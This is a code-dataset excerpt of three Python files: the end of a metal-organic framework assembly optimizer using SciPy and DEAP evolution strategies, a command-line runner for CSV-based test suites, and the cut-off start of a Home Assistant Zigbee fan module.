rmse(self, xyz1, xyz2):\n return np.exp(np.linalg.norm(xyz1 - xyz2))\n\n def prepare_opt_vars(self):\n # the scaling factor to increase the lattice params in the non-1D direction\n self.opt_vec = [1.0]\n self.opt_bounds = [(0.8,3.0)]\n # the list of shifts that each rod must undergo to achieve optimal framework\n for i in range(len(self.rods)):\n self.opt_vec += [0.0] \n self.opt_bounds += [(0.0,1.0)]\n\n # option 1: just optimize the orientation and translation of each molecule to its cxn group\n for i in range(len(self.cxns)):\n # euler1, euler2, euler3, tx, ty, tz\n self.opt_vec += [0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n self.opt_bounds += [(None,None), (None,None), (None,None), (None,None), (None,None), (None,None)]\n\n # option 2: use a SVD to obtain the optimal orientation and translation\n # this would be much faster but is it even possible to do with PBC??\n\n\n\n\n def run_optimization_deterministic(self):\n print(\"\\n\\nStarting optimization:\")\n print(\"Initial guess: \")\n print(np.array(self.opt_vec))\n xvec = deepcopy(self.opt_vec)\n bounds = deepcopy(self.opt_bounds)\n\n result = scipy.optimize.minimize(self.construct_curr_UC, \n xvec, \n method='SLSQP', \n bounds=bounds,\n options ={'ftol': 0.5, 'maxiter':1000000})\n\n self.opt_vec = result.x\n print(result)\n\n def run_optimization_stochastic(self):\n print(\"\\n\\nStarting optimization:\")\n print(\"Initial guess: \")\n print(np.array(self.opt_vec))\n xvec = deepcopy(self.opt_vec)\n bounds = deepcopy(self.opt_bounds)\n \n result = scipy.optimize.minimize(self.construct_curr_UC, \n xvec, \n method='Nelder-Mead', \n options ={'xtol': 0.00001, 'ftol':0.00001, \n 'maxiter':100000, 'maxfev':100000})\n\n self.opt_vec = result.x\n print(result)\n \n def geometry_mutation(self, some_list):\n return([0.5 for i in range(len(some_list))])\n\n def checkStrategy(self, minstrategy, maxstrategy, minvalue, maxvalue):\n \"\"\"\n Decorator that limits the min and max values of all individuals' attributes\n and strength of those attributes' mutations\n \"\"\"\n def decorator(func):\n def wrapper(*args, **kwargs):\n children = func(*args, **kwargs)\n for child in children:\n for i, s in enumerate(child.strategy):\n if s < minstrategy:\n child.strategy[i] = minstrategy\n #if s > maxstrategy:\n # # is it possible to not use a max strategy ?\n # child.strategy[i] = maxstrategy\n #if child[i] < minvalue:\n # child[i] = minvalue\n #if child[i] > maxvalue:\n # # is it possible to not bound upper attribute limit ?\n # child[i] = maxvalue\n return children\n return wrapper\n return decorator\n\n def generateES(self, some_list, icls, scls, size, imin, imax, smin, smax):\n \"\"\"\n Initialization function for an evolution strategy\n (http://deap.gel.ulaval.ca/doc/dev/examples/es_fctmin.html)\n \n Evolution strategy where mutation strength is learned throughout the evolution\n e.g. Control the standard deviation of the mutation for each attribute of an individual\n by an evolution similar to individual evolution in a classic GA\n \n Evolution strategies are critical for solution convergence if initital guesses are \n far from true solution\n \n This is crucial for complicated potentials where an good initial guess is extremely\n non-trivial\n (If we are fitting LJ pot we can always use UFF/Dreiding as a reasonable starting\n guess, in which case we can usually converge fairly easily to a solution, but if we\n start out with guesses of 1 for all eps, sig, then the algo will not gain traction\n in any reasonable time frame)\n \n icls = class of individual to instantiate\n scls = class of strategy to use as strategy\n size = size of individ\n imin = minimum value for individual\n imax = maximum value for individual\n smin = minimum value for standard deviation of all individual's attributes' mutation\n smax = maximum value for standard deviation of all individual's attributes' mutation\n \"\"\"\n \n # Use a random starting guess for parameters (pretty bad idea)\n # ind = icls(random.uniform(imin, imax) for _ in range(size))\n # Use a good starting guess for parameters\n ind = icls(some_list)\n \n # Use a random starting guess for each parameters mutation strength (pretty bad idea)\n # ind.strategy = scls(random.uniform(smin, smax) for _ in range(size))\n # Use a good starting guess for parameter mutation strength\n ind.strategy = scls(self.geometry_mutation(some_list))\n \n return ind\n\n def custom_migRing(self, populations, k, selection, replacement=None, migarray=None):\n nbr_demes = len(populations)\n if migarray is None:\n migarray = range(1, nbr_demes) + [0]\n \n immigrants = [[] for i in xrange(nbr_demes)]\n emigrants = [[] for i in xrange(nbr_demes)]\n \n for from_deme in xrange(nbr_demes):\n emigrants[from_deme].extend(selection(populations[from_deme], k))\n if replacement is None:\n # If no replacement strategy is selected, replace those who migrate\n immigrants[from_deme] = emigrants[from_deme]\n else:\n # Else select those who will be replaced\n immigrants[from_deme].extend(replacement(populations[from_deme], k))\n \n for from_deme, to_deme in enumerate(migarray):\n for i, immigrant in enumerate(immigrants[to_deme]):\n indx = populations[to_deme].index(immigrant)\n populations[to_deme][indx] = emigrants[from_deme][i]\n\n def run_optimization_GA(self):\n\n # Shape of optimization parameters\n OPT_SHAPE = (len(self.opt_vec))\n \n # flattening of optimization parameters (size of an individual genome)\n IND_SIZE = np.prod(OPT_SHAPE)\n \n # population size for parameter optimization\n # 3 * # attributes per individual\n POP_SIZE = IND_SIZE * 4\n \n # number of islands (subpopulations that evolve independently until a migration)\n NISLANDS = 3\n \n # set max number of generations to run for\n NGEN = 60\n \n # Migrations frequency\n MIG_FREQ = 20\n \n # Evolution strategy variables\n MIN_VALUE = 0.0 # individual attribute min \n MAX_VALUE = 7.0 # individual attribute max\n MIN_STRATEGY = 0.0 # min value of strength of mutation\n MAX_STRATEGY = 1.5 # max value of strength of mutation\n \n # If we want to run optimization in parallel, all information must be accessed\n # through picklable data types in python\n #ffobj.optimization_shape=(ffobj.guest.ncomp, ffobj.grid.ncomp, ffobj.model.num_params)\n #pickled = convert_ffobj_to_dict(ffobj)\n \n opt_weights = (-1.0,)\n \n \n \n \n creator.create(\"FitnessMin\", base.Fitness, weights = opt_weights)\n creator.create(\"Individual\", list, fitness=creator.FitnessMin, strategy = None)\n creator.create(\"Strategy\", list)\n \n toolbox = base.Toolbox()\n \n # function calls to chromosome intialization (random vs intelligent assignment)\n #toolbox.register(\"rand_float\", np.random.uniform)\n #toolbox.register(\"assign_guess\", self.assign_UFF_starting) \n \n # create individual intialization method (random vs intelligent assignment)\n toolbox.register(\"individual\", self.generateES, self.opt_vec, creator.Individual, creator.Strategy,\n IND_SIZE,\n MIN_VALUE,\n MAX_VALUE,\n MIN_STRATEGY,\n MAX_STRATEGY)\n #toolbox.register(\"individual\", toolbox.assign_guess, creator.Individual)\n \n \n \n # objective function for this minimization \n # toolbox.register(\"evaluate\", self.deap_multi_evalFitness)\n toolbox.register(\"evaluate\", self.construct_curr_UC_GA)\n \n # define evolution strategies\n toolbox.register(\"mate\", tools.cxESBlend, alpha=0.5)\n toolbox.decorate(\"mate\", self.checkStrategy(MIN_VALUE,\n MAX_VALUE,\n MAX_STRATEGY,\n MAX_STRATEGY)\n )\n\n ###toolbox.register(\"mutate\", tools.mutPolynomialBounded, eta = 0.0001, low = 0.0, up = 10000.0, indpb = 0.1)\n toolbox.register(\"mutate\", tools.mutESLogNormal, c = 1.0, indpb = 0.9)\n toolbox.decorate(\"mutate\", self.checkStrategy(MIN_VALUE,\n MAX_VALUE,\n MAX_STRATEGY,\n MAX_STRATEGY)\n )\n ###toolbox.register(\"mutate\", tools.mutESLogNormal, c = 1, indpb = 0.1)\n \n toolbox.register(\"select\", tools.selTournament, tournsize = int(POP_SIZE/2))\n ###toolbox.register(\"select\", tools.selTournament, k = 10, tournsize = 64)\n \n \n # parallelize or no\n #pool = multiprocessing.Pool(processes = 7)\n #toolbox.register(\"map\", pool.map)\n \n \n \n # create a population of individuals\n toolbox.register(\"population\", tools.initRepeat, list, toolbox.individual, n = POP_SIZE)\n population = toolbox.population()\n\n # create islands to contain distinct populations\n islands = [toolbox.population() for i in range(NISLANDS)]\n \n # create a hall of fame for each island\n hofsize = max(1, int(POP_SIZE/10))\n famous = [tools.HallOfFame(maxsize = hofsize) for i in range(NISLANDS)]\n \n # create a stats log for each island\n stats = [tools.Statistics(lambda ind: ind.fitness.values) for i in range(NISLANDS)]\n \n for i in range(NISLANDS):\n stats[i].register(\"avg\", np.mean)\n stats[i].register(\"std\", np.std)\n stats[i].register(\"min\", np.min)\n stats[i].register(\"max\", np.max)\n \n \n # MU, LAMDA parameters\n MU, LAMBDA = POP_SIZE, POP_SIZE*2\n \n # run optimization with periodic migration between islands\n for i in range(int(NGEN/MIG_FREQ)):\n print(\"----------------\")\n print(\"Evolution period: \" + str(i))\n print(\"----------------\")\n for k in range(len(islands)):\n print(\"------------------------\")\n print(\"Island \" + str(k) + \" evolution:\")\n print(\"------------------------\")\n #islands[k], log = algorithms.eaGenerateUpdate(toolbox, ngen = MIG_FREQ, halloffame = famous[k], stats = stats[k])\n islands[k], log = algorithms.eaMuCommaLambda(islands[k], toolbox, mu=MU, lambda_ = LAMBDA, cxpb = 0.4, mutpb = 0.6, ngen = MIG_FREQ, halloffame = famous[k], stats = stats[k])\n print(\"---------------\")\n print(\"MIGRATION!\")\n print(\"---------------\")\n self.custom_migRing(islands, 10, tools.selBest, replacement = tools.selWorst)\n \n # Create final population for the last run\n final_famous = tools.HallOfFame(maxsize = 1)\n final_stats = tools.Statistics(lambda ind: ind.fitness.values)\n final_stats.register(\"avg\", np.mean)\n final_stats.register(\"std\", np.std)\n final_stats.register(\"min\", np.min)\n final_stats.register(\"max\", np.max)\n toolbox.register(\"final_population\", tools.initRepeat, list, toolbox.individual, n = hofsize * NISLANDS)\n final_population = toolbox.final_population()\n \n # copy over each island's famous individuals into last \n for i in range(NISLANDS):\n for j in range(hofsize):\n final_population[i*j + j] = famous[i][j]\n \n # make sure our ultimate hall of fame starts out as the best we've ever seen\n final_famous.update(final_population)\n \n # reset MU, LAMBDA and rerun final evolution\n MU, LAMBDA = hofsize*NISLANDS, hofsize*NISLANDS*2\n final_pop, log = algorithms.eaMuCommaLambda(final_population, toolbox, mu=MU, lambda_ = LAMBDA, cxpb = 0.4, mutpb = 0.6, ngen = MIG_FREQ, halloffame = final_famous, stats = final_stats)\n\n\n self.opt_vec = np.array(final_famous[0])\n\n\n\n def write_results(self):\n print(\"\\n\\nOptimization results:\")\n\n print(\"(1) Scale factor, F: %f\" % (self.opt_vec[0]))\n print(\"(2) Vector of rod shifts, dCs: %s \" % (self.opt_vec[1:1+len(self.rods)]))\n print(\"(3) Molecular transformations:\")\n for i in range(len(self.cxns)):\n conn_start_ind = 1 + len(self.rods) + i*6\n print(\" Transform %d: %s\" % (i, self.opt_vec[conn_start_ind:conn_start_ind+6]))\n\n \n def construct_final_UC(self):\n self.opt_vec[0]# *= 2\n to_cartesian = self.frame.update_UC_matrix(self.opt_vec[0], self.twod_direct)\n to_fractional = np.linalg.inv(to_cartesian)\n \n\n # get the current oriented and translated ligands\n\n oriented = self.orient_molecule_and_translate(self.opt_vec)\n #print(oriented)\n\n\n # produce optimized orientation\n for i in range(len(oriented)):\n oriented[i] = np.dot(to_fractional, oriented[i][0:3,:])\n oriented[i] = self.frame.modGroupUC(oriented[i][0:3,:])\n \n # produced optimized rod shift\n # for i in range(len(rods)):\n # for j in range(len(rods[i])):\n # self.rod_coords_abc[i][self.oned_direct,j] += self.opt_vec[1+i]\n # self.rod_coords_abc[i] = self.frame.modGroupUC(self.rod_coords_abc[i])\n\n\n final_rods_abc = []\n for i in range(len(self.rods)):\n this_new_abc = np.copy(self.rod_ref_abc[i])\n\n for j in range(len(self.rods[i])):\n\n # shift ref pt based on curr val of rod shift\n # print(xuse[1 + self.connect_to_rod[i][j]])\n this_new_abc[self.oned_direct,j] += self.opt_vec[1 + i]\n\n\n # get the new xyz\n this_new_xyz = np.dot(to_cartesian, this_new_abc)\n # apply shift (this is the fixed relative positions in rod constraint)\n # non-trivial if we have non perpendicular oned_direct, but we took care of this\n # in self.get_rod_coords()\n this_shifted_xyz = this_new_xyz + self.rod_disp_xyz[i]\n\n \n # use modified UC matrix to get back abc coords\n this_shifted_abc = np.dot(to_fractional, this_shifted_xyz)\n # mod rods back into the UC if they left\n this_modded_abc = self.frame.modGroupUC(this_shifted_abc)\n #final_rods_abc.append(this_modded_abc)\n self.rod_coords_abc[i] = this_modded_abc\n\n\n\n\n # modify UC parameters\n final_a = self.frame.a\n final_b = self.frame.b\n final_c = self.frame.c\n for direct in self.twod_direct:\n if(direct == 0):\n final_a = self.frame.a * self.opt_vec[0]\n elif(direct == 1):\n final_b = self.frame.b * self.opt_vec[0]\n elif(direct == 2):\n final_c = self.frame.c * self.opt_vec[0]\n\n # create lists for final atomic coords/labels\n final_ra = [] \n final_rb = [] \n final_rc = []\n final_atmtype = []\n final_label = []\n overall_ind = 0\n\n # add oriented molecules\n for i in range(len(oriented)):\n for j in range(np.shape(oriented[i])[1]):\n final_atmtype.append(self.mol.labels[j])\n final_label.append(self.mol.labels[j]+str(overall_ind))\n overall_ind += 1\n\n final_ra.append(oriented[i][0,j])\n final_rb.append(oriented[i][1,j])\n final_rc.append(oriented[i][2,j])\n\n # add shifted rods\n for i in range(len(rods)):\n for j in range(len(rods[i])):\n final_atmtype.append(self.rod_atmtype[i][j])\n final_label.append(self.rod_atmtype[i][j] + str(overall_ind))\n overall_ind += 1\n\n final_ra.append(self.rod_coords_abc[i][0,j])\n final_rb.append(self.rod_coords_abc[i][1,j])\n final_rc.append(self.rod_coords_abc[i][2,j])\n\n self.frame.reconstruct_cif(final_a, final_b, final_c, final_ra, final_rb, final_rc, \n final_label, final_atmtype, self.mol.molname)\n\n \n\n\nif(__name__ == \"__main__\"):\n # NOTE CWD must be the directory that has an input file onedMOF.input and then all the data files\n # described in oneDMOF.input\n framework_name, molecule_name, dimensionality, rods, rod_centers, cxns, connect_to_rod = parse_input()\n\n assemble = Assembly(framework_name, molecule_name, dimensionality, rods, rod_centers, cxns, connect_to_rod)\n", "sub_path": "v_old/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 45141, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "framework.Framework", "line_number": 97, "usage_type": "call"}, {"api_name": "molecule.Molecule", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 160, "usage_type": "call"}, {"api_name": "math.fmod", "line_number": 180, "usage_type": "call"}, {"api_name": "math.fmod", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 238, "usage_type": "call"}, {"api_name": "math.fmod", "line_number": 260, "usage_type": "call"}, {"api_name": "math.fmod", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 288, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 313, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 350, "usage_type": "call"}, {"api_name": "transformations.compose_matrix", "line_number": 376, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 381, "usage_type": "call"}, {"api_name": "transformations.compose_matrix", "line_number": 385, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 390, "usage_type": "call"}, {"api_name": "transformations.compose_matrix", "line_number": 400, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 405, "usage_type": "call"}, {"api_name": "transformations.compose_matrix", "line_number": 409, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 414, "usage_type": "call"}, {"api_name": "transformations.affine_matrix_from_points", "line_number": 456, "usage_type": "call"}, {"api_name": "transformations.euler_from_matrix", "line_number": 458, "usage_type": "call"}, {"api_name": "transformations.affine_matrix_from_points", "line_number": 486, "usage_type": "call"}, {"api_name": "transformations.euler_from_matrix", "line_number": 488, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 518, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 518, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 526, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 528, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 540, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 550, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 559, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 565, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 619, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 619, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 627, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 629, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 641, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 651, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 660, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 666, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 704, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 704, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 704, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 730, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 731, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 732, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize.minimize", "line_number": 734, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize", "line_number": 734, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 734, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 746, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 747, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 748, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize.minimize", "line_number": 750, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize", "line_number": 750, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 750, "usage_type": "name"}, {"api_name": "numpy.prod", "line_number": 854, "usage_type": "call"}, {"api_name": "deap.creator.create", "line_number": 885, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 885, "usage_type": "name"}, {"api_name": "deap.base.Fitness", "line_number": 885, "usage_type": "attribute"}, {"api_name": "deap.base", "line_number": 885, "usage_type": "name"}, {"api_name": "deap.creator.create", "line_number": 886, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 886, "usage_type": "name"}, {"api_name": "deap.creator.FitnessMin", "line_number": 886, "usage_type": "attribute"}, {"api_name": "deap.creator.create", "line_number": 887, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 887, "usage_type": "name"}, {"api_name": "deap.base.Toolbox", "line_number": 889, "usage_type": "call"}, {"api_name": "deap.base", "line_number": 889, "usage_type": "name"}, {"api_name": "deap.creator.Individual", "line_number": 896, "usage_type": "attribute"}, {"api_name": "deap.creator", "line_number": 896, "usage_type": "name"}, {"api_name": "deap.creator.Strategy", "line_number": 896, "usage_type": "attribute"}, {"api_name": "deap.tools.cxESBlend", "line_number": 911, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 911, "usage_type": "name"}, {"api_name": "deap.tools.mutESLogNormal", "line_number": 919, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 919, "usage_type": "name"}, {"api_name": "deap.tools.selTournament", "line_number": 927, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 927, "usage_type": "name"}, {"api_name": "deap.tools.initRepeat", "line_number": 938, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 938, "usage_type": "name"}, {"api_name": "deap.tools.HallOfFame", "line_number": 946, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 946, "usage_type": "name"}, {"api_name": "deap.tools.Statistics", "line_number": 949, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 949, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 952, "usage_type": "attribute"}, {"api_name": "numpy.std", "line_number": 953, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 954, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 955, "usage_type": "attribute"}, {"api_name": "deap.algorithms.eaMuCommaLambda", "line_number": 971, "usage_type": "call"}, {"api_name": "deap.algorithms", "line_number": 971, "usage_type": "name"}, {"api_name": "deap.tools.selBest", "line_number": 975, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 975, "usage_type": "name"}, {"api_name": "deap.tools.selWorst", "line_number": 975, "usage_type": "attribute"}, {"api_name": "deap.tools.HallOfFame", "line_number": 978, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 978, "usage_type": "name"}, {"api_name": "deap.tools.Statistics", "line_number": 979, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 979, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 980, "usage_type": "attribute"}, {"api_name": "numpy.std", "line_number": 981, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 982, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 983, "usage_type": "attribute"}, {"api_name": "deap.tools.initRepeat", "line_number": 984, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 984, "usage_type": "name"}, {"api_name": "deap.algorithms.eaMuCommaLambda", "line_number": 997, "usage_type": "call"}, {"api_name": "deap.algorithms", "line_number": 997, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 1000, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 1018, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 1018, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 1029, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 1041, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 1051, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 1059, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 1090, "usage_type": "call"}]} {"seq_id": "557371949", "text": "#!/usr/bin/python\n#\n# Copyright (c) 2021 HopeBayTech.\n#\n# This file is part of Tera.\n# See https://github.com/HopeBayMobile for further info.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n# built-in\nimport os\nimport sys\nimport logging\nimport ConfigParser\nfrom optparse import OptionParser\nimport json\nimport re\n\n# customize\nimport Engine.TestEngine as TestEngine\nimport Engine.parser as Parser\nimport Engine as engine\nfrom Engine.config import VariablesPool\n\n\nLOGGING_LEVELS = {'critical': logging.CRITICAL,\n 'error': logging.ERROR,\n 'warning': logging.WARNING,\n 'info': logging.INFO,\n 'debug': logging.DEBUG}\n\n\ndef parse_variable(variables):\n if re.search('^\\w+\\:\\w+,{0,1}', variables):\n variable_dict = {}\n variable_list = variables.split(',')\n\n for vairable in variable_list:\n vairable_pair = vairable.split(':')\n variable_dict.update({vairable_pair[0]: vairable_pair[1]})\n setattr(VariablesPool, vairable_pair[0], vairable_pair[1])\n else:\n raise Exception('The format of the string to variable is wrong.')\n\n\ndef main():\n parser = OptionParser(usage=\"usage: %prog [options][arg]\")\n parser.add_option('-d', '--debug',\n action='store',\n type='string',\n dest='debug_flag',\n help='Turn on the debug mode [debug|info|warning|error]. Ex: $python threat_tester.py -d debug -c Dummy')\n parser.add_option('-c', '--caseid',\n action='store',\n type='string',\n dest=\"caseid_prefix\",\n help=\"Run the specific test case by ID or prefix of test case ID.\")\n parser.add_option('-s', '--csv',\n action='store',\n type='string',\n dest=\"run_csv_path\",\n help=\"Run all test case in the specific csv file.\")\n parser.add_option('-l', '--csvlist',\n action='store',\n type='string',\n dest=\"csv_list\",\n help=\"Run all csv files via list in a file. It can exectue the csv by order from top to bottom.\")\n parser.add_option('-a', '--all',\n action='store_true',\n dest=\"run_all_flag\",\n help=\"Run all the test cases\")\n parser.add_option(\"-g\", \"--gen\",\n action='store',\n type='string',\n dest=\"csv_file_path\",\n help=\"Generate the template of test scripts. Ex: $python threat_tester.py TestSuites/Dummy.csv\")\n parser.add_option(\"-t\", \"--test\",\n action='store_true',\n dest=\"test_flag\",\n default=False,\n help=\"For develope use\")\n parser.add_option(\"-x\", \"--xml\",\n action='store',\n dest=\"xml_filename\",\n help=\"Output the xml file with junit xml format.\")\n parser.add_option(\"-v\", \"--variables\",\n action='store',\n dest=\"variables\",\n help=\"Variables with 'var1:AAA,var2:BBB'\")\n (options, args) = parser.parse_args()\n\n if options.variables:\n parse_variable(options.variables)\n\n if options.debug_flag:\n # -d\n logLevel = LOGGING_LEVELS.get(options.debug_flag)\n logging.basicConfig(format='[%(levelname)-6s][%(name)s]:%(message)s', level=logLevel)\n logging.info(\"Turn on the debug mode!\")\n else:\n logging.basicConfig(format='[%(levelname)-6s][%(name)s]:%(message)s', level=logging.WARN)\n\n if options.caseid_prefix:\n # -c\n runner = TestEngine.Runner(['all'], options.xml_filename)\n runner.run(options.caseid_prefix)\n elif options.run_csv_path:\n # -s\n runner = TestEngine.Runner(options.run_csv_path.split(','), options.xml_filename)\n runner.run_all()\n elif options.csv_list:\n # -l\n with open(options.csv_list, 'rb') as fh:\n for line in fh:\n csv_path = os.path.join('TestSuites', line.rstrip('\\r\\n'))\n runner = TestEngine.Runner([csv_path])\n runner.run_all()\n\n elif options.csv_file_path:\n # -g\n arg = options.csv_file_path\n parser = Parser.TestCaseParser()\n testCaseSuites = parser.parse_from_csv([arg])\n TestEngine.GenerateTestCase(testCaseSuites)\n elif options.test_flag:\n # -t\n testCaseSuites, caseList, csvFileList = engine.ParseFromCSV()\n # Tester.GenerateTestCase(testCaseSuites, caseList, csvFileList)\n elif options.run_all_flag:\n # -a\n runner = TestEngine.Runner(['all'])\n runner.run_all()\n else:\n parser.print_help()\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "tests/functional_test/pi_tester.py", "file_name": "pi_tester.py", "file_ext": "py", "file_size_in_byte": 5449, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.CRITICAL", "line_number": 37, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 38, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 39, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 40, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 41, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 45, "usage_type": "call"}, {"api_name": "Engine.config.VariablesPool", "line_number": 52, "usage_type": "argument"}, {"api_name": "optparse.OptionParser", "line_number": 58, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 109, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 110, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 112, "usage_type": "call"}, {"api_name": "logging.WARN", "line_number": 112, "usage_type": "attribute"}, {"api_name": "Engine.TestEngine.Runner", "line_number": 116, "usage_type": "call"}, {"api_name": "Engine.TestEngine", "line_number": 116, "usage_type": "name"}, {"api_name": "Engine.TestEngine.Runner", "line_number": 120, "usage_type": "call"}, {"api_name": "Engine.TestEngine", "line_number": 120, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "Engine.TestEngine.Runner", "line_number": 127, "usage_type": "call"}, {"api_name": "Engine.TestEngine", "line_number": 127, "usage_type": "name"}, {"api_name": "Engine.parser.TestCaseParser", "line_number": 133, "usage_type": "call"}, {"api_name": "Engine.parser", "line_number": 133, "usage_type": "name"}, {"api_name": "Engine.TestEngine.GenerateTestCase", "line_number": 135, "usage_type": "call"}, {"api_name": "Engine.TestEngine", "line_number": 135, "usage_type": "name"}, {"api_name": "Engine.ParseFromCSV", "line_number": 138, "usage_type": "call"}, {"api_name": "Engine.TestEngine.Runner", "line_number": 142, "usage_type": "call"}, {"api_name": "Engine.TestEngine", "line_number": 142, "usage_type": "name"}]} {"seq_id": "627771433", "text": "\"\"\"\nFans on Zigbee Home Automation networks.\n\nFor more details on this platform, please refer to the documentation\nat https://home-assistant.io/components/fan.zha/\n\"\"\"\nimport logging\n\nfrom homeassistant.components.fan import (\n DOMAIN, SPEED_HIGH, SPEED_LOW, SPEED_MEDIUM, SPEED_OFF, SUPPORT_SET_SPEED,\n FanEntity)\nfrom homeassistant.components.zha import helpers\nfrom homeassistant.components.zha.const import (\n DATA_ZHA, DATA_ZHA_DISPATCHERS, ZHA_DISCOVERY_NEW)\nfrom homeassistant.components.zha.entities import ZhaEntity\nfrom homeassistant.helpers.dispatcher import async_dispatcher_connect\n\nDEPENDENCIES = ['zha']\n\n_LOGGER = 